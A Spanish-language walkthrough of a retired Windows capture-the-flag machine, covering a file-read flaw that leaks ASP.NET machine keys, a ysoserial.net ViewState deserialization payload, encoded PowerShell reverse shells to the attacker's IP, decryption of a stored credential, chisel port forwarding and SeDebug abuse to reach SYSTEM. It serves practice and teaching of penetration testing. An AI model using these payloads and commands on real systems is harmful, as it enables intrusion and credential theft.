Fecha de lanzamiento | 27 Ene 2024 |
Estado | Retirada |
Dificultad | Medium |
Plataforma | Windows |
IP | 10.10.11.251 |
Información de la máquina
RECONOCIMIENTO
Realizando un escaneo de puertos abiertos, observamos únicamente el puerto 80 expuesto, siendo un servidor web IIS, montado en un Windows Server:
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn -oG allPorts 10.10.11.251 nmap -sCV -p80 -oN targeted 10.10.11.251
En el titulo tenemos lo que parece un nombre de dominio, que agregaremos a nuestro archivo /etc/hosts
para ver si resuelve a una web diferente, y además tenemos también la información de que el servidor es X-Powered-By : ASP.NET, información que tendremos en cuenta a la hora de realizar un descubrimiento de directorios y archivos del servidor.
gobuster dir -u http://10.10.11.251 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 200 --no-error -x asp,aspx -b 400,404 -o ../content/gobuster.txt
Mediante un descubrimiento de directorios y archivos del servidor con la herramienta GoBuster
, no obtenemos ninguna información relevante que nos pueda servir.
De una manera similar, pero esta vez mediante la herramienta wfuzz
, vamos a tratar de realizar un descubrimiento de subdominios:
wfuzz -c --hc=404,400,500 --hl=233 -t 200 -u http://10.10.11.251 -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -H "Host: FUZZ.pov.htb" -f fuzzingSubDomain.txt
Tenemos un subdominio dev.pov.htb
, el cual tiene un código de estado 302 y vamos a añadir a nuestro archivo /etc/hosts
también.
Vemos que se aplica una redirección a /portfolio/
, y tenemos lo que parece ser otra web totalmente diferente, la cual vamos a tratar de enumerar también:
wfuzz -c --hc=404,400,500 --hh=21371 -t 200 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -L -z list,asp-aspx http://dev.pov.htb/FUZZ.FUZ2Z
Vemos que tenemos únicamente un archivo contact.aspx
que no parece funcional a primera vista. Aún así, de manera manual podemos ver que las peticiones a recursos no existentes son redirigidas automáticamente a default.aspx
.
Realizando un chequeo manual de la web y sus funcionalidades, damos con una funcionalidad que nos permite descargarnos un curriculum, mediante un link que llama a __doPostBack('download', '')
.
Vamos a inspeccionar la petición mediante la herramienta BurpSuite
.
Como aspectos interesantes a destacar, podemos ver que:
- Parece que se está llamando directamente al archivo
cv.pdf
alojado en el servidor web. - Se está utilizando
VIEWSTATE
, el cual es un método de ASP.NET mediante el cual datos de sesión son enviados al usuario y procesados de nuevo en la petición, permitiendo de esta manera al servidor web sesiones de usuario sin alojar o almacenar datos de sesión, siendo procesados en cada petición. Estos datos por defecto, son cifrados por parte del servidor usando una clave privada almacenada.
EXPLOTACIÓN
Sabiendo que en la petición se está haciendo referencia a un archivo local, probando con el archivo default.aspx
vemos que en la respuesta podemos leer el archivo.
La mayoría del archivo es código HTML estático, pero podemos observar en la parte superior que se está realizando un Include de un archivo C# , el cual también podemos incluir en la petición y podemos leer el código:
Si inspeccionamos el ćodigo, vemos que se trata básicamente de la funcionalidad de la lectura del archivo, y se está aplicando una pequeña sanitización del path, sustituyendo ../
por una cadena vacía para evitar Directory Path Traversal.
Aún así, si que podemos leer archivos del sistema referenciando a la ruta absoluta:
Sabiendo que se está utilizando el método VIEWSTATE
, podemos intentar referenciar al archivo web.config
donde por defecto suele almacenarse la clave privada en uso. Dentro del directorio portfolio
vemos que no se encuentra, pero si buscamos en el directorio padre, nos es posible ver esta información:
<configuration> <system.web> <customErrors mode="On" defaultRedirect="default.aspx" /> <httpRuntime targetFramework="4.5" /> <machineKey decryption="AES" decryptionKey="74477CEBDD09D66A4D4A8C8B5082A4CF9A15BE54A94F6F80D5E822F347183B43" validation="SHA1" validationKey="5620D3D029F914F4CDF25869D24EC2DA517435B200CCF1ACFA1EDE22213BECEB55BA3CF576813C3301FCB07018E605E7B7872EEACE791AAD71A267BC16633468" /> </system.web> <system.webServer> <httpErrors> <remove statusCode="403" subStatusCode="-1" /> <error statusCode="403" prefixLanguageFilePath="" path="http://dev.pov.htb:8080/portfolio" responseMode="Redirect" /> </httpErrors> <httpRedirect enabled="true" destination="http://dev.pov.htb/portfolio" exactDestination="false" childOnly="true" /> </system.webServer> </configuration>
Tener acceso a estas claves en un Information Leakage crítico, ya que existen métodos para a partir de estas claves crear un VIEWSTATE
malicioso que nos permita Ejecución Remota de Comandos en la máquina víctima. Para ello usaremos la herramienta YsoSerial.net, la cual correremos en una máquina Windows que tenemos disponible de forma virtualizada.
Ysoserial Payload Crafting
Los parámetros que debemos pasar a la herramienta son los siguientes:
-p ViewState
: Para usar el Plugin de ViewState.-g WindowsIdentity
: Se trata del Gadget Chain que vamos a usar. Probé con algunos otros antes y fue el primero que me funcionó.--decryptionalg="AES"
: Algoritmo usado configurado en el archivo web.config--decryptionkey="<key>
: Clave secreta obtenida del archivo web.config--validationalg="SHA1"
: Algoritmo de validación obtenido del archivo web.config--validationkey="<valkey>"
: Clave secreta de validación obtenida del archivo web.config--path="/portfolio
: ruta de la request-c "ping -c 10.10.14.6"
: comando a ejecutar por la máquina víctima. En este caso queremos mandarnos un ping para ver si tenemos capacidad de ejecución remota de comandos.
Quedaría el comando tal que así:
ysoserial.exe -p ViewState -g WindowsIdentity --decryptionalg="AES" --decryptionkey="74477CEBDD09D66A4D4A8C8B5082A4CF9A15BE54A94F6F80D5E822F347183B43" --validationalg="SHA1" --validationkey="5620D3D029F914F4CDF25869D24EC2DA517435B200CCF1ACFA1EDE22213BECEB55BA3CF576813C3301FCB07018E605E7B7872EEACE791AAD71A267BC16633468" --path="/portfolio" -c "ping 10.10.14.6"
Y el output que nos devuelve el comando sería la siguiente cadena:
ijFFdPNBeRrbIkYTBAvcOiDgpCz%2BpQ%2Fi2pl96mci%2FxZLORq5ndJvsl0GU9nDOrsqeLnAsxFay%2BpzKzDmQZS5VfFJiBarN%2B0i10MbuN0pp6MFhqWNN3D%2FMNW74o%2FMgB78MJwLQPSqiS3ooSHvBx9NbjW5NGhL7XPsBchMRkK%2BMVeH2lGnme6ixqwGWzwVMVeaT%2FU3R9tL8qWol8Gu21ob9PKESUypOFV7tW%2FXyH2K1OJvq8n7LpJv7K2M1rxyBCAcJjocRSBC3ETuwAEmRoYjMyhLM8ECJq3eDlCdzgE87WNiyLCKdcunep%2BRQF%2BtDUubB%2F%2BEEDAijPqwBlOTxkHtCrzgAG8Vbmc86WE%2ByNN6yl1uKd%2FCBnrF%2BKQsXI6dB8YSfJtuaGc0JvxCR0oyjJv8zJZsd3v0OznFfOlZbwXkPjW1oelTwrSqlJbOmnhN4EiO3d01VJs7Zd%2BIfJSMgMnu%2FZgr%2F2ZfEkevRY5PWy02HJOWIIdQ1L8FKBKvZ7K3FkO%2BD%2FC7NS2w1XP7rhNZbDYwA4szk%2Bc2%2FQK8aW3fpJpC%2Bm9vg1WmtDP5wwVdFsyc%2FRVB1uajsYr7sMP2NLOTWG3HwdZQ2ufEAeFwZHS5ILCQHrresnYZ6SsnmDIXx7JX1ioRHEOZe4BaB06fuav9WQ4r3uowkl5YuksbLvgZ7jCYFqxxzi%2BRUf7RlKasP5jg8ENQQAnifrI4drJGCHRBlQrV0%2Fmwi7%2BQ871MUOsVal0fNkwHuYs2Bcechki2OaNYzidxpXbNBOBbWarT5GcJCcYJkoYrVS8iXYNJ8xFITOfq68iFkF3jcV8ASgmingAugO4xORWfdnIiqyFBgt8i7Un6tycNn5nRHK3A6DVINf32QtEwiV6menYemwE5xN7yNjyaoehec5yT8vDTUidXCkqnGSYcEsw46IAtGWJQXOFQiC5n6AiL22dXz8cxeLKU9AM%2FCS7w4lp4zuOF2GA1F9j2rBpB2aGNEoGpxAtH0FmNtOcZINHkzeMD0TYRrIFhY55vqPV36f1HAY2uqACYH7jsvBSudCGq7alrZoLKdsXrjI0m59M6wAiB0ZNavt5sgLXUaa0XLSkgRXMA1S7ltqW8oFyG9uxIrRigktyeMbxzGxp6GDSwTSU1iTgEj5FlmSI0%2B%2BFATosIp1e0w1bBiZjSncF8mj4RN7CQBl5RxkNdxEzT3ZnzFwtYDwUBBTvpX2rc%2FRc3MDdveXZnuwzvwdVZhiaEhFbDmWVaB2io%2Bl7%2FuAxbWZCOlg6lIwhjtwbI%2FgnHT5UhkZmB0qBEC1HAvFWrUdBj5Kw8A8Mb9MRuKLRCUWfIiDCWPhSN%2F%2Bl5cBB0eox%2BpvzQX7z711S36a9kfoPSkjpO0CyOdjPe9rpi47ez%2B9Y%2BQso%2FznhYcZy8gHMOsGX0fwwl%2BEZZ61jBxrH4p9qQ17%2FDBf4bu%2BzFH1qs5k%2F0PeVrKFuubWp%2BL12tJCONzGfrCm%2FN0a4gcJa%2FL2A4%2FmXrT0QXFAHz1Q06bMnz0T36bPSdA2a917ujkhLTC4TNkjqupyqGk12ge%2BnVQxPihRRNgV6IeThmtMRgOpBvjudM6MV%2Bpu%2FrdxEcJZoUQk5WSWhsqEqASe8SyO6MXfSFHvZL78cXns2r9hOjscaFVKtFmRs6o%2BRQLp2MMk0OwaveWElNgek7OFclBv%2FCNw1l86E%2Fq30v6zanSex61pPoFvpg9ExIgYhenYXzcjqA%2BoK6Rz8g0rKzN8sIUZXVf8vUk8iYeUCXo7oHEogbypid9R0YY7DGo6nNNETTGBB46wpg3goOAMvft9UV1OtGL5spwDwyN6cTt%2FuIaia5VKn7XwNQQI%2F%2BViFmQHCAgTlRtceK7Oa7v1pYxA%3D%3D
Nos vamos a poner a la escucha de trazas ICMP mediante la herramienta tcpdump
y vamos a capturar la request anterior de descarga del curriculum y vamos a sustituir el valor de VIEWSTATE
por la cadena que tenemos arriba.
Vemos que recibimos el PING por parte de la máquina víctima correctamente:
Ya tenemos una vía de intrusión, vamos a relanzar el comando pero esta vez en el argumento donde indicamos el comando que queremos incluir en el Payload vamos a meter una Reverse Shell para que, una vez estemos a la escucha, nos llegue una conexión a nuestra máquina.
Voy a utilizar una Reverse Shell de https://revshells.com , específicamente un one-liner de Powershell codificado en Base64.
En este caso el comando a correr en la máquina virtual de Windows sería el siguiente:
ysoserial.exe -p ViewState -g WindowsIdentity --decryptionalg="AES" --decryptionkey="74477CEBDD09D66A4D4A8C8B5082A4CF9A15BE54A94F6F80D5E822F347183B43" --validationalg="SHA1" --validationkey="5620D3D029F914F4CDF25869D24EC2DA517435B200CCF1ACFA1EDE22213BECEB55BA3CF576813C3301FCB07018E605E7B7872EEACE791AAD71A267BC16633468" --path="/portfolio" -c "powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA0AC4ANgAiACwANAA0ADMAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAPQAgACQAcwBlAG4AZABiAGEAYwBrACAAKwAgACIAUABTACAAIgAgACsAIAAoAHAAdwBkACkALgBQAGEAdABoACAAKwAgACIAPgAgACIAOwAkAHMAZQBuAGQAYgB5AHQAZQAgAD0AIAAoAFsAdABlAHgAdAAuAGUAbgBjAG8AZABpAG4AZwBdADoAOgBBAFMAQwBJAEkAKQAuAEcAZQB0AEIAeQB0AGUAcwAoACQAcwBlAG4AZABiAGEAYwBrADIAKQA7ACQAcwB0AHIAZQBhAG0ALgBXAHIAaQB0AGUAKAAkAHMAZQBuAGQAYgB5AHQAZQAsADAALAAkAHMAZQBuAGQAYgB5AHQAZQAuAEwAZQBuAGcAdABoACkAOwAkAHMAdAByAGUAYQBtAC4ARgBsAHUAcwBoACgAKQB9ADsAJABjAGwAaQBlAG4AdAAuAEMAbABvAHMAZQAoACkA"
El output que nos devuelve es el siguiente, el cual introduciremos en la petición interceptada de nuevo con BurpSuite
, y poniéndonos a la escucha recibiremos una Shell como el usuario SFITZ.
C%2F6sSg1kTikyU8J2oykk1a4259VOSxrbXR6uQO3rwW1a7RIfT7Ta9zlVvIjs6iYIYbln0wY9lXsqThYJn9yaLn33LqsN1OWGvsCy7SpOuvUnKDhDuLH0PfBo02yquiIjiWYV9ctnZ6bGPv1tpNPlRhc5JK3SZ9eEFeBJzAcFnPnoIQZkNd7RdGGES7vv2YgsUUgVpyBQxDIL8zslwUjijaYAXh5uRkMahf0SE09EQ5MP4Rb5eMp8UAd2fdL3PuCUt%2FuYmtG28cKIt4u8f7b%2FDNQLMPJqXKWclGPLfasD4JWjB%2FlmPezbseGyjFX2Il2k8It6sN9BIuoqPxdxv9vs5KzAaRSPsnlyPmdTEzxBPp%2BRm%2BHcXi0KSj%2FlXXMWN17876L86Xum3iTV9RQ9w9jhcJgcQGD5b%2F41momOfRLkBuSxCM2IrplLeSFadKBWRcB%2BluRKjiQkoKuaxDKQZtNacrAuZtqGiGUCcq9fWduJnxQNcfgxsDPx3%2Bm9qVBuEe5c7Uq3q3JwpNazUYxDxGQWc%2Bu4dhcVfTIk7x7FoLBVzWbp70nRJ03jv9zQs1%2F6PCMdHB5rPJ27qO3VLOxkLRMbZJFGgQrbxCwT64sKUkPhqFAVq0JKJEiab80PeGE5yoPoLq1hmDNVabH4PBQO5B19AuSms1PsVLq0Z5MHaazAN1VvxmEl477pzCOxA5Ruzo8Jv4VdXbVtdiG6P%2FLgO14IxIRaPj07DhwVtDCSgVqUwj9TIkgDuqgTtu%2FIKayKEOs%2BvL5Ionbuu548wWwgjXc7Lj0sp%2B4rpdDq8JzB%2Fqc4pwsK8lTBjSP13vWtdIqP104ALtEFBvu40CWoa8LgaDCK%2BGXDsopww9AfOXf1svkc9udXA0ejySuzeCjTc0KcQvfBSVlofRUpC%2FIheOo3MxrJEho3ixF0auSxo5IziEQsQ5JUa0FiWtv6%2BSF0kWrmnbP81v1FH0LEpeHUNPdyp9azfY%2F2uoyXD%2FrVaE86JGD5RpXXWiLQXO246b0vT1dpw%2BrLjgMAT8SaLiuNs%2F14hqc9mhbcm%2FMfzyUJ%2BX8UoaHViwkMgm%2B9AFICFjPQk3bwfEfNU3w9M3TZwIjyFQmsyr0vwUWX0J1pTOJnCSovlM7hFkI193cZbNQFIiIghOoM8a8u4Z8T%2FPdrEDEDCWUTlgUbkkPUDq0%2F4tD3LzAUfYJc22YkZ8hMy2Lk872SgGNNqmbKm63TxfUis1axgC4tsbIwHyvQ0yIuOVmW9kFcploNNpP%2BBeAVNOLVuqiuAJSmB23myNtzxX3AayzS%2BuAVShjxcIgzE7TVmlyF5%2BhyflLCRUpu7Qz4hxdun2jHKXlnZ%2BntKprs%2Fb2COeNkMlMEwm7If6osWsa%2FOiETSU2C03NMrsl0Uu20EAx0aBWaz04b27nQqmvIXdCibBuiIUIjGbiLImxVAAu41sMmDWqVh04PDXq%2BNjL36vTPXxH%2F5p0rxgoUHF2CKQYG27zPXvEH1DT8SxXIy70XxiuIfLbbybVMcSaBwqYpTZxPs7WSuSR4FJ19ANI85nW1P8knz%2F7PEEgH9kbEjNXpKOtxZMXo80t0NkJmY9ZkTzPZ2qasH2RO19lJewgCUW%2Bt0WsroGI0feL4FK4JFVNkfj5snaZ4gTjlwe8UsrzChpJKx1M51E3Ex7%2F8RKq9O1GOx7eY2kLEFcSp6DYUct6RNl6tN%2FZiho8dPvAMrDrz5FuBIxHefR01%2FUHMr9hcryWS3tkCVhgb9AYLWRk9LLWFIDePlCb7XNfXRpB1KaT48o8Z3gXMxo9H%2BizAj53UoyOp0Iqv0BDNgcVJ9WiLAfNLMQIrKP0I23M9Px9fVio39eqgnJYEg29otrBLaNMeKUecDqLUn3QSIhqaZB9Nv4vi072asEidHur2WmxTkUM0fS3K0UjV9%2F3LUBJgnlFN9RahQa98ktvJAyKaQZoFfnsXybtwAjGXTmTKKerZL9pupmhSRSgmN3Gmkvs0rgvexUkroYK1KR6uhJdjKXWjRbquWvP8BkjPL21rr3TXSD1jAh4BGdzgMAQcvU032e%2BAqSJA1wBJ0jUW3PBqBd0mV3b0eawOQfLX4bA5yfLCbpZrqSslz3GVMjcVt%2BPl8B7nsdcfoBpBmvZh9r8pfZVgKDkxSWc4DyAgUpwM0qS7OqVi8h35UzGXxgPnZO5aN3D%2B4aY9rl1F9Gp6RxZ7uiOLUsEC8p5Q%2FmWzRm3SgKLanOwNvCXLf%2BI9mJkTgQXDoYNVq%2BTISD0v4DgO8iD6tGrEXBOMfwl7fb7EADl92vQWBIB8bY8j8XrEgHmMjU9c130InTrga%2BE3G37CtpqjRC89Vs%2Fx49jbWnMtICxwDwMGAB%2FxSCpzadpvXcQj4rRcQ6MNkHVt2SxHRECxdRiAlbjO19bJGaBS3Awy%2FMyLlLpoYRw9wC%2BZpLzzu5ittz%2FACLUE544jz4Rhgf%2BhY0rOy2TBkiusJdBxdcxxYmscfxkilS9rtSteqb1rfQinwIwg65PhVKM7TxDCr%2BchSl%2F0IU2lgjAKQyV9Eg1cBcSUtBeezh1x3K%2BK5iXc9Sf3hGdVdjfodwIKi6yo6QBEuxBVgoI5dKAxAZztzIulLCsiZeiDGsQSBpALLt5%2FlOEmFgQJSicl3726%2BlzFVPB0u4%2FjpWMlUhczUaL7sNerjQYB1EexK%2BIv5SAGkaWO9QvfttX077R8VlvuBUoOhPc%2BgK7T82y1%2B3Jz38WZQYnRSzClbY163Vu%2B0E3PcOED6o21sE97zmcDkABEobudLeL5niBUs5uKZMRhv0RrLPicm1Cp2bW6CbwsoP8qzj%2F3TEBFf3aOVY7NkF%2FhYyZfwR9PtlQJXSiLEYcGMv2MEKVSe%2BiTXrLaLY6QPXuEAwB9pbwwQZhkyLTVgn676vg5YXCw93MiZQONATRL3DeFohbncoo6tMNQFe5h4DyDl7IiUbdwgiTFx0sSh6Iezyg2tBszeUsu%2BFRy44dyn8Xi0QRKa0SDJh5qC%2BPXGifsbGGJBbmuyKQO9AKT3YRlWjgo1da1b9CFmkRod0rV8pUGJWrIdRTyeL34KC%2BXymLztkFmYnFxUMzFyPCBOW20vYcJJtmNUrqzSn9YYXA4sk2ZEvFTrfYO4sKGp7cNsvSKOI0vGL3VRLE6Gp0DJy5goSEwr%2FaFJL7MZx%2BP63K%2BpTpTViCv3ZcNPu6huJYYvZFPv264Y1Y7HovN4b8DVqgRpY7zV2q%2FewPKpEwQGUI1IKa9%2BOpf%2FoaP3NJhO%2FHn4ePxjw6T%2FTd2gn%2FjGXZZcPSyBPoj%2F9dpfXBDa9mez63pqi%2BO3otCCQuwhecE15dg8qygtcXCSiwc8d6FEvYr%2FWJnXfmgto5uXssqsKINZbXz1K5kkXqf3Nq46GsyxepHouDqEKgsMVJgetgL3GN5VMQOAs0rnkq344ppENmf27gyzxDBqsfE6GzS4EGQpbs26kKHJYfi48QmpwrYOc0zemk2AYNAQPyTNd5iHhXYhZHabMhGCKl935kg355Em7aKS8A2TCi25gabq58iFnLIc%2F3MzYBgPnSzM8doduHGbuRm2jdVgpRwOCzvPbXukwsPmf3Sn26OnTnLNJdxbznCsgWyBtA2kcrUz8wxp9X%2BNQV8g0g9qhXpsmwoB4XO8hTokVHyYwKcoQWqIl3gKf6ex9PH4EjhY9MzXCNdKLajFaOdTq6xAoNZ4UTkxC0bN2tGQS3B8Nip%2F8zOOSJ84ljw5HxLKbd2b3y9Kcc1nHYY8LjpFV4d3xqs8bjSmZRTNsi7uBOPhZfTaZnvxLBrIZU3BYyRTnjtmtrFTAwjkE9rMtmlnQKcQyThGepHV53uHisKwINPWwZPA7D8gT9VANd10YQWED8L2b9RBUSM0Mc1KqS29k%2BKmKVhdTP71i06z4S5I9H0yc2O0OsAFrkg1vVlt4SHOaCbXxUQrmgZlxd%2FZhxgKHh44xGqF3eNT0lNxFZhZVkGMpLgEjGlAIoiQ%2F%2BEywnbStmzzwPfe8mgK6J5JIpbI2oV9GTzFLSvrXHq5442mj8i3O23QjQgikN1xhnasziTk3CU2fS%2FHzkeZWOYLsskWSxWe8sPixuTE5FpIPR%2BoH62dJK3sJRC1Vppjb%2FLGIfSpr5t7Ci2vN8r4vGIqa6%2BluMXtfDMwmlQ4QrXVkxNDXJ5eIBJllY36CXJtN3EVn8vGUxbJbyRm%2BGdy9roeIdNKMPFDeTcNDfvqbsEoHhPKYoxLhBVETj%2Fh2aqyByf6Q%3D%3D
ESCALADA DE PRIVILEGIOS
Si hacemos una enumeración de los directorios de usuarios, vemos que además del usuario Administrador y de nuestro usuario que hemos tomado, tenemos otro usuario llamado Alaading.
En el directorio Documents, tenemos un archivo llamado connection.xml
. Como podemos ver, se trata de un archivo PSCredential con credenciales cifradas del usuario alaading. Existe un post muy interesante para entender todo esto de PSCredential aquí.
Para poder ver la contraseña en texto claro, debemos realizar lo siguiente en Powershell:
$cred = Import-CliXml -Path connection.xml $cred.GetNetworkCredential().Password
Ya tenemos la contraseña en texto claro del usuario al que queremos pivotar, pero tenemos que encontrar la manera de pivotar a él y obtener una Shell interactiva.
Haciendo una enumeración del usuario Alaading, vemos que forma parte del grupo de Administración Remota, y además este puerto no esta expuesto de forma externa pero si escuchando internamente.
Vamos a exponer ese puerto de forma externa, realizando un Port Forwarding, y aprovechando que tenemos las credenciales del usuario vamos a obtener una Shell mediante la herramienta evil-winrm
.
Port Forwarding – WINRM
Lo primero, nos descargamos la versión de Windows de Chisel para transferirla a la máquina víctima. Para ello lo haremos desde el repositorio de GitHub y debemos descomprimirlo antes de transferirlo a la máquina.
Vamos a transferirlo mediante certutil.exe
compartiendo el archivo en un servidor web temporal que nos montemos.
python3 -m http.server 80 # Local certutil.exe -f -split -urlcache http://10.10.14.6/chisel.exe chisel.exe
De igual manera, hay que obtener el binario que vamos a correr en local en nuestra máquina Linux, así que lo obtendremos del propio repositorio.
git clone https://github.com/jpillora/chisel cd chisel go build -ldflags "-s -w" . upx chisel
Una vez tenemos ambos archivos operativos, nos vamos primero a ejecutar el Chisel localmente en modo servidor para posteriormente realizar el Port Forwarding mediante el Chisel en modo cliente desde la máquina víctima.
Si ahora vemos que está corriendo localmente en nuestro puerto 5985, podemos ver que tenemos el servicio de WinRM.
Ya solo faltaría usar la herramienta Evil-WinRM
para obtener una Shell «remota», y lo digo entre comillas ya que al estar realizando el Port Forwarding tenemos que indicar como IP destino nuestra IP Local.
evil-winrm -u 'alaading' -p 'f8gQ8fynP44ek1m3' -i 127.0.0.1
Escalada a SYSTEM
Si vemos los privilegios de la cuenta a la que ahora tenemos acceso, vemos que tiene habilitado el privilegio SeDebug –> https://devblogs.microsoft.com/oldnewthing/20080314-00/?p=23113
Básicamente un usuario con estos privilegios es equivalente a permisos de Administrador, ya que puede debuggear procesos de otros usuarios (SYSTEM, por ejemplo), permitiéndole una ejecución de comandos impersonalizando a ese usuario, siendo críticos en los sistemas Windows.
Para explotarlo, vamos a usar este script de Powershell –> https://raw.githubusercontent.com/decoder-it/psgetsystem/master/psgetsys.ps1
Lo vamos a transferir primero a la máquina víctima, pero antes de nada si echamos un vistazo rápido al script, vemos que vamos a necesitar el PID de un proceso que esté siendo corriendo como el usuario SYSTEM. Para ello, usaremos el proceso winlogon. Para buscar su PID, usaremos el siguiente comando en la máquina víctima.
tasklist /v /FO LIST
Ahora sí, transferimos el script y lo ejecutamos. Nos va a llegar una Reverse Shell como el usuario SYSTEM.
Import-Module .\psgetsys.ps1 ImpersonateFromParentPid -ppid 552 -command "C:\Windows\System32\cmd.exe" -cmdargs "/c powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA0AC4ANgAiACwANAA0ADMAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAPQAgACQAcwBlAG4AZABiAGEAYwBrACAAKwAgACIAUABTACAAIgAgACsAIAAoAHAAdwBkACkALgBQAGEAdABoACAAKwAgACIAPgAgACIAOwAkAHMAZQBuAGQAYgB5AHQAZQAgAD0AIAAoAFsAdABlAHgAdAAuAGUAbgBjAG8AZABpAG4AZwBdADoAOgBBAFMAQwBJAEkAKQAuAEcAZQB0AEIAeQB0AGUAcwAoACQAcwBlAG4AZABiAGEAYwBrADIAKQA7ACQAcwB0AHIAZQBhAG0ALgBXAHIAaQB0AGUAKAAkAHMAZQBuAGQAYgB5AHQAZQAsADAALAAkAHMAZQBuAGQAYgB5AHQAZQAuAEwAZQBuAGcAdABoACkAOwAkAHMAdAByAGUAYQBtAC4ARgBsAHUAcwBoACgAKQB9ADsAJABjAGwAaQBlAG4AdAAuAEMAbABvAHMAZQAoACkA"